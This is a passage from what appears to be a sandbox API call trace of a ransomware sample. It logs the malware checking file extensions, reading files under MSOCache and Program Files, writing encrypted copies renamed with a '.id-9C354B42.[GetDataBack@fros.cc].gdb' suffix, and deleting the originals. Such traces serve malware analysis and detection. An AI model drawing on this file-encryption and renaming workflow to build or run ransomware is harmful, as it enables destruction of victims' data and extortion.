Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.857] lstrlenW (lpString=".dbf") returned 4 [0130.857] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".1cd") returned 4 [0130.858] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".jpg") returned 4 [0130.858] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".doc") returned 4 [0130.858] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString=".docx") returned 5 [0130.858] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0130.858] lstrlenW (lpString=".pdf") returned 4 [0130.858] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString=".xls") returned 4 [0130.858] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString=".xlsx") returned 5 [0130.858] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0130.858] lstrlenW (lpString=".ppt") returned 4 [0130.858] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".zip") returned 4 [0130.858] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString=".rar") returned 4 [0130.858] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0130.858] lstrlenW (lpString=".bz2") returned 4 [0130.858] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString=".7z") returned 3 [0130.858] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".dbf") returned 4 [0130.858] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".1cd") returned 4 [0130.858] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0130.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.858] lstrlenW (lpString=".jpg") returned 4 [0130.858] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0130.858] lstrcmpiW (lpString1=".xrm-ms", lpString2=".gdb") returned 1 [0130.859] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0130.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.859] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=715834) returned 1 [0130.859] CloseHandle (hObject=0x220) returned 1 [0130.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0130.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.859] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.859] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0130.860] GetLastError () returned 0x0 [0130.860] ReadFile (in: hFile=0x220, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0xaec3a, lpOverlapped=0x0) returned 1 [0130.882] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xaec40, lpOverlapped=0x0) returned 1 [0130.976] ReadFile (in: hFile=0x220, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0130.976] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x104, lpOverlapped=0x0) returned 1 [0130.976] SetEndOfFile (hFile=0x1d4) returned 1 [0131.167] CloseHandle (hObject=0x1d4) returned 1 [0131.167] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.167] SetEndOfFile (hFile=0x220) returned 1 [0131.172] CloseHandle (hObject=0x220) returned 1 [0131.173] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.173] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0131.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.173] lstrlenW (lpString=".doc") returned 4 [0131.173] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".docx") returned 5 [0131.173] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0131.173] lstrlenW (lpString=".pdf") returned 4 [0131.173] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".xls") returned 4 [0131.173] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".xlsx") returned 5 [0131.173] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0131.173] lstrlenW (lpString=".ppt") returned 4 [0131.173] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.173] lstrlenW (lpString=".zip") returned 4 [0131.173] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".rar") returned 4 [0131.173] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".bz2") returned 4 [0131.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0131.173] lstrlenW (lpString=".7z") returned 3 [0131.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0131.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".dbf") returned 4 [0131.174] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".1cd") returned 4 [0131.174] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".jpg") returned 4 [0131.174] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".doc") returned 4 [0131.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".docx") returned 5 [0131.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0131.174] lstrlenW (lpString=".pdf") returned 4 [0131.174] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".xls") returned 4 [0131.174] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".xlsx") returned 5 [0131.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0131.174] lstrlenW (lpString=".ppt") returned 4 [0131.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".zip") returned 4 [0131.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".rar") returned 4 [0131.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".bz2") returned 4 [0131.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString=".7z") returned 3 [0131.174] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".dbf") returned 4 [0131.174] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".1cd") returned 4 [0131.174] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0131.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0131.174] lstrlenW (lpString=".jpg") returned 4 [0131.174] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0131.174] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0131.175] lstrlenW (lpString="VisiorWW.msi") returned 12 [0131.175] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0131.175] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=12060672) returned 1 [0131.175] CloseHandle (hObject=0x220) returned 1 [0131.175] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0131.175] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.175] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0131.175] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0131.176] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0131.176] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0131.176] ReadFile (in: hFile=0x220, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.184] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0131.184] ReadFile (in: hFile=0x220, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.195] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.195] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0131.195] ReadFile (in: hFile=0x220, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.213] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.213] WriteFile (in: hFile=0x220, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0104, lpOverlapped=0x0) returned 1 [0131.337] SetEndOfFile (hFile=0x220) returned 1 [0131.340] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0131.340] WriteFile (in: hFile=0x220, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0131.341] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0131.341] WriteFile (in: hFile=0x220, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0131.349] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0131.349] WriteFile (in: hFile=0x220, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0131.351] CloseHandle (hObject=0x220) returned 1 [0131.351] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.351] lstrlenW (lpString=".doc") returned 4 [0131.351] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0131.351] lstrlenW (lpString=".docx") returned 5 [0131.351] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0131.351] lstrlenW (lpString=".pdf") returned 4 [0131.351] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0131.351] lstrlenW (lpString=".xls") returned 4 [0131.351] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0131.351] lstrlenW (lpString=".xlsx") returned 5 [0131.351] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0131.351] lstrlenW (lpString=".ppt") returned 4 [0131.351] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0131.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.351] lstrlenW (lpString=".zip") returned 4 [0131.351] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0131.351] lstrlenW (lpString=".rar") returned 4 [0131.351] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0131.351] lstrlenW (lpString=".bz2") returned 4 [0131.351] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0131.351] lstrlenW (lpString=".7z") returned 3 [0131.352] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".dbf") returned 4 [0131.352] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".1cd") returned 4 [0131.352] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".jpg") returned 4 [0131.352] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".doc") returned 4 [0131.352] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString=".docx") returned 5 [0131.352] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0131.352] lstrlenW (lpString=".pdf") returned 4 [0131.352] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0131.352] lstrlenW (lpString=".xls") returned 4 [0131.352] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0131.352] lstrlenW (lpString=".xlsx") returned 5 [0131.352] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0131.352] lstrlenW (lpString=".ppt") returned 4 [0131.352] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".zip") returned 4 [0131.352] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0131.352] lstrlenW (lpString=".rar") returned 4 [0131.352] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0131.352] lstrlenW (lpString=".bz2") returned 4 [0131.352] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString=".7z") returned 3 [0131.352] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".dbf") returned 4 [0131.352] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".1cd") returned 4 [0131.352] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0131.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0131.352] lstrlenW (lpString=".jpg") returned 4 [0131.352] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0131.352] lstrcmpiW (lpString1=".EXE", lpString2=".gdb") returned -1 [0131.352] lstrlenW (lpString="DW20.EXE") returned 8 [0131.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.648] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=994184) returned 1 [0131.649] CloseHandle (hObject=0x208) returned 1 [0131.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0131.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.649] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.649] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0131.649] GetLastError () returned 0x0 [0131.649] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0xf2b88, lpOverlapped=0x0) returned 1 [0131.666] WriteFile (in: hFile=0x220, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xf2b90, lpOverlapped=0x0) returned 1 [0131.681] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0131.681] WriteFile (in: hFile=0x220, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xe4, lpOverlapped=0x0) returned 1 [0131.681] SetEndOfFile (hFile=0x220) returned 1 [0131.681] CloseHandle (hObject=0x220) returned 1 [0131.681] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.681] SetEndOfFile (hFile=0x208) returned 1 [0131.980] CloseHandle 